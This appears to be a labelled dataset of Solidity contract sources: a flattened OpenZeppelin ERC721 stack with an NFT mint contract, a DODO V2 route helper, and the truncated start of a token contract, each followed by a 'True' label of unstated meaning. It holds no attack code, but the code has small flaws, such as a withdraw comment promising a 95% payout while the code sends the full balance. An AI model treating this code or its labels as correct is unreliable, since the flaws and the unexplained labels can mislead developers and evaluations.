* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract NonFungibleWomen is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.1 ether;
uint256 public maxSupply = 4444;
uint256 public maxMintAmount = 44;
bool public paused = false;
bool public revealed = true;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// This will payout the owner 95% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
} | True | [
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|
// File: contracts/SmartRoute/intf/IDODOV2.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/SmartRoute/helper/DODOV2RouteHelper.sol
contract DODOV2RouteHelper {
address public immutable _DVM_FACTORY_;
address public immutable _DPP_FACTORY_;
address public immutable _DSP_FACTORY_;
struct PairDetail {
uint256 i;
uint256 K;
uint256 B;
uint256 Q;
uint256 B0;
uint256 Q0;
uint256 R;
uint256 lpFeeRate;
uint256 mtFeeRate;
address baseToken;
address quoteToken;
address curPair;
uint256 pairVersion;
}
constructor(address dvmFactory,address dppFactory,address dspFactory) public {
_DVM_FACTORY_ = dvmFactory;
_DPP_FACTORY_ = dppFactory;
_DSP_FACTORY_ = dspFactory;
}
function getPairDetail(address token0,address token1,address userAddr) external view returns (PairDetail[] memory res) {
(address[] memory baseToken0DVM, address[] memory baseToken1DVM) = IDODOV2(_DVM_FACTORY_).getDODOPoolBidirection(token0,token1);
(address[] memory baseToken0DPP, address[] memory baseToken1DPP) = IDODOV2(_DPP_FACTORY_).getDODOPoolBidirection(token0,token1);
(address[] memory baseToken0DSP, address[] memory baseToken1DSP) = IDODOV2(_DSP_FACTORY_).getDODOPoolBidirection(token0,token1);
uint256 len = baseToken0DVM.length + baseToken1DVM.length + baseToken0DPP.length + baseToken1DPP.length + baseToken0DSP.length + baseToken1DSP.length;
res = new PairDetail[](len);
for(uint8 i = 0; i < len; i++) {
PairDetail memory curRes = PairDetail(0,0,0,0,0,0,0,0,0,address(0),address(0),address(0),2);
address cur;
if(i < baseToken0DVM.length) {
cur = baseToken0DVM[i];
curRes.baseToken = token0;
curRes.quoteToken = token1;
} else if(i < baseToken0DVM.length + baseToken1DVM.length) {
cur = baseToken1DVM[i - baseToken0DVM.length];
curRes.baseToken = token1;
curRes.quoteToken = token0;
} else if(i < baseToken0DVM.length + baseToken1DVM.length + baseToken0DPP.length) {
cur = baseToken0DPP[i - baseToken0DVM.length - baseToken1DVM.length];
curRes.baseToken = token0;
curRes.quoteToken = token1;
} else if(i < baseToken0DVM.length + baseToken1DVM.length + baseToken0DPP.length + baseToken1DPP.length) {
cur = baseToken1DPP[i - baseToken0DVM.length - baseToken1DVM.length - baseToken0DPP.length];
curRes.baseToken = token1;
curRes.quoteToken = token0;
} else if(i < baseToken0DVM.length + baseToken1DVM.length + baseToken0DPP.length + baseToken1DPP.length + baseToken0DSP.length) {
cur = baseToken0DSP[i - baseToken0DVM.length - baseToken1DVM.length - baseToken0DPP.length - baseToken1DPP.length];
curRes.baseToken = token0;
curRes.quoteToken = token1;
} else {
cur = baseToken1DSP[i - baseToken0DVM.length - baseToken1DVM.length - baseToken0DPP.length - baseToken1DPP.length - baseToken0DSP.length];
curRes.baseToken = token1;
curRes.quoteToken = token0;
}
(
curRes.i,
curRes.K,
curRes.B,
curRes.Q,
curRes.B0,
curRes.Q0,
curRes.R
) = IDODOV2(cur).getPMMStateForCall();
try IDODOV2(cur).getUserFeeRate(userAddr) returns (uint256 _lpFeeRate, uint256 _mtFeeRate) {
curRes.lpFeeRate = _lpFeeRate;
curRes.mtFeeRate = _mtFeeRate;
} catch {
curRes.lpFeeRate = 0;
curRes.mtFeeRate = 10**18;
}
curRes.curPair = cur;
res[i] = curRes;
}
}
} | True | [
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]
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]
|
pragma solidity ^0.4.16;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
/**
* @title 基础版的代币合约
*/
contract xyjtoken {
/* 公共变量 */
string public standard = 'https://tlw.im';
string public name; //代币名称
string public symbol; //代币符号比如
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0,和以太币一样后面是是18个0
uint256 public totalSupply; //代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
event Transfer(address indexed from, address indexed to, uint256 value); //转帐通知事件
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function xyjtoken(uint256 initialSupply, string tokenName, string tokenSymbol) {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals); //以太币是10^18，后面18个0，所以默认decimals是18
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
